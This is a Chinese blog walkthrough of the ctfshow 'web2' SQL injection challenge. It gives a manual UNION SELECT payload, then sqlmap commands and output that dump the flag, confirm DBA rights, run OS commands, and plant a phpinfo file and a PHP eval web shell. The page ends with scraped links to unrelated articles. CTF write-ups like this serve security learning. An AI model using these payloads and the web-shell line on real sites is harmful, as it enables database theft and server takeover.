ctfshow web2

2023-11-06

前言

本来是想做两道简单的ctf解压,结果写笔记的时候联想到练习使用sqlmap和sql注入getshell这两件事,因此有了这篇文章。

手工注入

输入内容,打开burp抓包

image-20220326141131707

直觉测试了下万能密码,能成

image-20220326141312071

这里我们可以假设题目的sql语句为 where username=2 and password=3 or 1=1 ,由于SQL语句中,and优先级大于or,因此无论or左边为0或1,or右边为1,则结果为1

这里我在navicat测试了下:

image-20220326141413230

用order by 语句测出该数据表有三列

那么我们可以使用联合查询,下图可见回显2所在的位置

image-20220326141517561
爆表名

username=2&password=3' or 1=1 union select 1,(select group_concat( table_name) from information_schema.``TABLES`` where table_schema=database() limit 0,1),3 #

image-20220325104245704

爆字段名,查询字段内容

image-20220325104426511

关于sql注入我会的姿势太少了 得多学点 先去把sqllab全刷了吧

SQLMAP注入

用sqlmap如何跑这道题呢,如下

获取数据库名 这里可以用currentdbs那个选项爆出当前数据库名

# 参数解析
# -u 指定目标url --data post传参  --dbs 爆出所有数据库 --batch 所有选项默认,不用询问用户
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show/ --data 'username=1&password=2' --dbs --batch

...中间略去...

[15:00:45] [INFO] fetching database names
available databases [6]:
[*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] web2

[15:00:46] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show'

[*] ending @ 15:00:46 /2022-03-25/

爆出数据表

# 参数解析
# -D 指定数据库 --tables 爆出数据库中的数据表
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show/ --data 'username=1&password=2' -D web2 --tables --batch

...中间略去...

[15:10:56] [INFO] fetching tables for database: 'web2'
Database: web2
[2 tables]
+------+
| user |
| flag |
+------+

显示字段名

# 参数解析
# -T 指定数据表 --columns 指定列名
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://af6fd51b-469d-49af-9d08-7f61824af707.challenge.ctf.show/ --data 'username=1&password=2' -D web2 -T flag --columns --batch

...中间略去...

Database: web2
Table: flag
[1 column]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(255) |
+--------+--------------+

显示字段内容

# 参数解析
# -C 指定字段名 --dump显示结果
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://bdd615f7-5359-411b-84da-e14b81c3eb78.challenge.ctf.show/ --data 'username=1&password=2' -D web2 -T flag -C flag --dump --batch

...中间略去...

Database: web2
Table: flag
[1 entry]
+-----------------------------------------------+
| flag                                          |
+-----------------------------------------------+
| ctfshow{0a986dd4-486d-9f03-d2f2aecd1790} |
+-----------------------------------------------+

getshell(测试着玩下,对这道题用处好像不大)

想要sqlmap测试下拿shell利用,这里可以查看sqlmap怎么拿shell以及这个大佬的github笔记

拿sqlshell涉及到几个关键词,mysql的secure_file_priv,php的magic_quotes_gpc,mysql oracle sqlserver 都有提到一个词 dba,一种权限级别或者是用户身份

ubuntu@VM-4-11-ubuntu:~/sqlmap$ python3 sqlmap.py -u 0c520642-70d7-44a9-856d-4a11579203da.challenge.ctf.show --data "username=1&password=2" --batch  --is-dba

---
[09:10:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Nginx 1.21.1
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[09:10:22] [INFO] testing if current user is DBA
[09:10:22] [INFO] fetching current user
current user is DBA: True
[09:10:22] [INFO] fetched data logged to text files under 

这道题有dba权限,有dba权限时,sqlmap可以写文件

大佬的文章

接下来是–os-cmd,最开始我一直分不清它跟前者到底有什么关系,后来才明白这个是不需要你输入路径的,我们只需要看自己的权限,是不是DBA权限–is-dba。看开启xp_cmdshell没有,如果开启了,那就可以使用。

关于os-shell sql-shell xp_cmdshell udf 可以看下这篇文章

root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://92953e49-0b3d-45a5-b0bc-0d48f0dbb9a7.challenge.ctf.show/ --data "username=1&password=2" --batch --os-cmd=ls

....
command standard output:
---
index.php
tmpbzqxk.php
tmpukdfw.php
tmpuwzwq.php
---

#既然能够执行命令,可以试着写入文件
#echo "<?php phpinfo(); ?>" > lf.php
#echo "<?php @eval($_POST['ant']); ?>" > lf.php

root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -hh | grep "cmd"
    --os-cmd=OSCMD      Execute an operating system command
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://92953e49-0b3d-45a5-b0bc-0d48f0dbb9a7.challenge.ctf.show/ --data "username=1&password=2" --batch --os-cmd='echo "<?php phpinfo(); ?>" > lf.php'

先写了个phpinfo文件,查看下,欸嘿有了

image-20220326104614182

也写入了一句话木马,但是不知道什么原因蚁剑连接不到shell,我本机也连不到,暂时先不管这事了

os-shell
root@VM-4-11-ubuntu:/home/ubuntu/sqlmap# python3 sqlmap.py -u http://fe088744-cf7f-47c8-bbce-b49d55c2e328.challenge.ctf.show/ --data "username=1&password=2"  --batch --os-shell

总结

这个题比较简单,没有进行任何过滤,因此只是作为sqlmap初次学习,getshell初次学习使用,实际应该是碰不到这么简单的情况的

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow web2 的相关文章

  • 数字化转型:科技赋能供给创造需求 附下载

    疫情对各行业及科创的影响我们都深切地感受到了 像AI家居 AR游戏等比较火爆的项目都是在疫情中喷发 此报告结合疫情驱动新兴技术演变及商业落地的态势 探讨数字化对于科创的意义 报告亮点 5G商业化将伴随成熟应用由点向面展开 人工智能和企业数字
  • 06-底层必备源码-JVM底层-GC算法流程(自我总结)

    一 判断 是否GC 的算法 1 引用计数法 1 1 规则 如果这个obj被引用 计数器 1 引用失效 计数器 1 当一个obj的引用计数器为0 就不代表被使用 1 2 缺点 不能解决循环引用的问题 2 可达性分析算法 2 1 规则 以GCr
  • Keras CIFAR-10图像识别数据集 2021-07-10

    Keras CIFAR 10图像识别数据集 一 下载CIFAR 10数据 1 导入所需模块 from keras datasets import cifar10 import numpy as np np random seed 10 2
  • 万事开头难——Android SDK安装

    首届 Google 暑期大学生博客分享大赛 2010 Andriod 篇 今天研究了一上午才把SDK安装成功 真是万事开头难 下面就把安装的过程分享出来 Eclipse Android SDK 2 1环境部署 一 第一步安装JDK Java
  • t检验与Z检验的区别

    在统计学中 假设检验是评估某种特定情况下观察到的数据是否符合假设的一种方法 t检验和Z检验是两种常用的假设检验方法 分别用于比较均值差异以及比例差异 在医学统计中 t检验和Z检验经常被用于研究和比较不同治疗方法的效果 例如药物疗效 手术效果
  • spring JavaBean引入JavaBean ( 外部引用, 内部定义, 级联属性 )

  • 探针漏洞_长亭xray:一款自动化Web漏洞扫描神器(免费社区版)

    xray 简介 xray 是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器 支持主动 被动多种扫描方式 自备盲打平台 可以灵活定义 POC 功能丰富 调用简单 支持 Windows macOS Linux 多种操作系统 可以满足广大安全从业
  • java删除指定目录下的文件(包括目录)

    代码 import java io File public class Test 判断指定的文件或文件夹删除是否成功 param FileName 文件或文件夹的路径 return true or false 成功返回true 失败返回fa
  • 网络综合布线实训室方案(2023版)

    综合布线实训室概述 随着智慧城市的蓬勃发展 人工智能 物联网 云计算 大数据等新兴行业也随之崛起 网络布线系统作为现代智慧城市 智慧社区 智能建筑 智能家居 智能工厂和现代服务业的基础设施和神经网络 发挥着重要作用 实践表明 网络系统故障的
  • 使用web3 部署智能合约

    CentOS 7 环境 web3安装 及 对象的创建 m0 47233175的博客 CSDN博客https blog csdn net m0 47233175 article details 121960931还未安装web3环境 请参照以
  • 《OpenGL ES 2.0 Programming Guide》摘录

    一 Introduction toOpenGL ES 2 0 1 What Is OpenGL ES OpenGL ES is an application programming interface API for advanced 3D
  • JPA中所有findBy语法规则(举例)

    JPA中findBy基本语法规则 1 首先先新建一个数据库 名字叫做jpatest 2 新建一个SpringBoot项目 如果新手还不会 请先阅读idea中如何快速创建SpringBoot项目 这边需要引入jpa mysql web的相关依

随机推荐

  • 深刻理解Linux进程间通信(IPC)

    http www cnblogs com andtt articles 2136279 html 0 序 1 管道 1 1 管道概述及相关API应用 1 2 有名管道概述及相关API应用 1 3 小结 1 4 参考资料 2 信号 上 2 1
  • 详解DenseNet(密集连接的卷积网络)

    前言 在计算机视觉领域 卷积神经网络 CNN 已经成为最主流的方法 比如最近的GoogLenet VGG 19 Incepetion等模型 CNN史上的一个里程碑事件是ResNet模型的出现 ResNet可以训练出更深的CNN模型 从而实现
  • C++中enum的大小

    关于枚举类型所占内存的大小 书里对枚举大小的定义是 sizeof枚举是sizeof某类可以包含枚举range的整型 并且不会大于sizeof int 也就是说枚举大小不一定等于sizeof int 转载请尊重原创 保留相关链接本文来自多宝平
  • MySQL限制数据的小数位数——DECIMAL类型

    DECIMAL简介 DECIMAL从MySQL 5 1引入 列的声明语法是DECIMAL M D NUMERIC与DECIMAL同义 如果字段类型定义为NUMERIC 则将自动转成DECIMAL 对于声明语法DECIMAL M D 自变量的
  • 蓝斯登定律(转载)

    给员工快乐的工作环境 蓝斯登定律 给员工快乐的工作环境 跟一位朋友一起工作 远较在父亲之下工作有趣得多 提出者 美国管理学家蓝斯登 点评 可敬不可亲 终难敬 有权没有威 常失权 编辑 从案例中体会蓝斯登定律 连续20年保持赢利的美国西南航空
  • 机器学习特征工程

    特征工程 目录 特征工程 1 数据预处理 1 1数据无量纲化 1 2缺失值处理 1 3处理分类型特征 编码与哑变量 1 4处理连续型特征 二值化与分段 1 5数据变换 总结 2 特征选择 2 1 Filter 2 1 1 方差选择法 2 1
  • Qt Creator打开CMake管理的Quick工程,并调试qml

    文章目录 前言 一 需求背景 二 遇到的问题 三 解决方案 四 Demo 提示 以下是本篇文章正文内容 下面案例可供参考 一 需求背景 1 需要对Qml程序进行调试 2 用CMake管理工程文件 3 能用Qt Creator或者VS进行开发
  • 数据库之postgresql库锁表解锁

    1 检索出死锁进程的ID SELECT FROM pg stat activity WHERE datname 死锁的数据库ID 检索出来的字段中 wating 字段 数据为t的那条 就是死锁的进程 找到对应的 procpid 列的值 2
  • LWIP UDP 编程

    一 udp c实现的函数 1 void udp input struct pbuf p struct netif inp 说明 处理接收到的udp数据包 参数 p数据包缓存区 inp网络接口 2 err t udp send struct
  • 树的层次遍历(广度优先搜索BFS)

    解题思路 采用树的层次遍历的方式 在图中叫广度优先遍历 使用队列取存储待遍历的节点 程序的结束就是队列为空 1 整体上 出队列的节点指向队列中的0号元素 比如1遍历完成之后2 3进队列 2出队列 那么2的next指向队列中的0号元素即可 但
  • MySQL Command Line 语句无效

    在cmd中输入sql语句回车后没反应 只有 gt 提示继续输入 如下图 原因 结尾未输入分号 以结束sql语句 在后面添加分号 英文输入法 即可
  • .NET开发必看资料53个+经典源码77个

    NET开发必看资料53个 经典源码77个 2012 07 01 23 12 4546人阅读 评论 1 收藏 举报 net asp net c java winform 编程 简单描述 为大家整理了下载中心 net资料 都是比较热的 好评率比
  • MIC—BIAS

    MIC BIAS为麦克的直流偏置电压 1 你说的mic bias应该说的是主板上麦克的偏置电压 偏置电压是由英文bias voltage翻译得到的 2 在电子技术课程中 我们知道 由三极管组成的放大电路能够放大一定范围的交流信号 但前提是需
  • 中望软件笔试

    文章目录 前言 一 判断一点是否在三角形中 题目简介 一 面积 代码实现 二 向量 代码实现 二 求矩阵中的最小步数 题目简介 代码实现 总结 前言 简单记录一下笔试情况 一 判断一点是否在三角形中 题目简介 输入四个二维坐标 前三个点表示
  • #vue# 接口封装!超详细超简单的请求接口方法

    在前端开发中 请求接口 是必不可少的一个环节 请求接口 通俗来说 就是我们通过请求服务器的数据 来达到响应式地渲染数据 那如何请求接口 才会更高效且简单呢 以下方法可以参考借鉴借鉴 一 接口文档目录位置 可以参考这个目录 进行文档的存放 二
  • C#报错: The maximum string content length quota (8192) has been exceeded while reading XML data

    C 客户端 调用别家的webservice 返回信息报错 摘取其中重要的如下 The maximum string content length quota 8192 has been exceeded while reading XML
  • MySQL索引数据结构hash解析

    Hash 对索引的key进行一次hash计算就可以定位出数据存储的位置 很多时候Hash索引要比B 树索引更高效 仅能满足 IN 不支持范围查询 哈希表这种结构适用于只有等值查询的场景 比如 Memcached 及其他一些 NoSQL 引擎
  • Jeecg-boot手把手基础部署教程(从零开始)【软件安装+环境安装idea版】

    这个是jeecg boot安装教程 现场排雷版 预计2020年4月1日完成整个部署及排雷 小白手把手专用 系统环境 x64的win10 虚拟机 virtualBox 因为紧急情况下 可以直接部署在vm主机上 基础技术要点 http jeec
  • 线程通讯(wait方法、notify方法、notifyAll方法)

    目录 1 方法介绍 2 wait使用 3 notify使用 4 notifyAll使用 5 注意事项 由于线程之间是抢占式执 的 因此线程之间执 的先后顺序难以预知 但是实际开发中有时候我们希望合理的协调多个线程之间的执 先后顺序 1 方法
  • ctfshow web2

    前言 本来是想做两道简单的ctf解压 结果写笔记的时候联想到练习使用sqlmap和sql注入getshell这两件事 因此有了这篇文章 手工注入 输入内容 打开burp抓包 直觉测试了下万能密码 能成 这里我们可以假设题目的sql语句为 w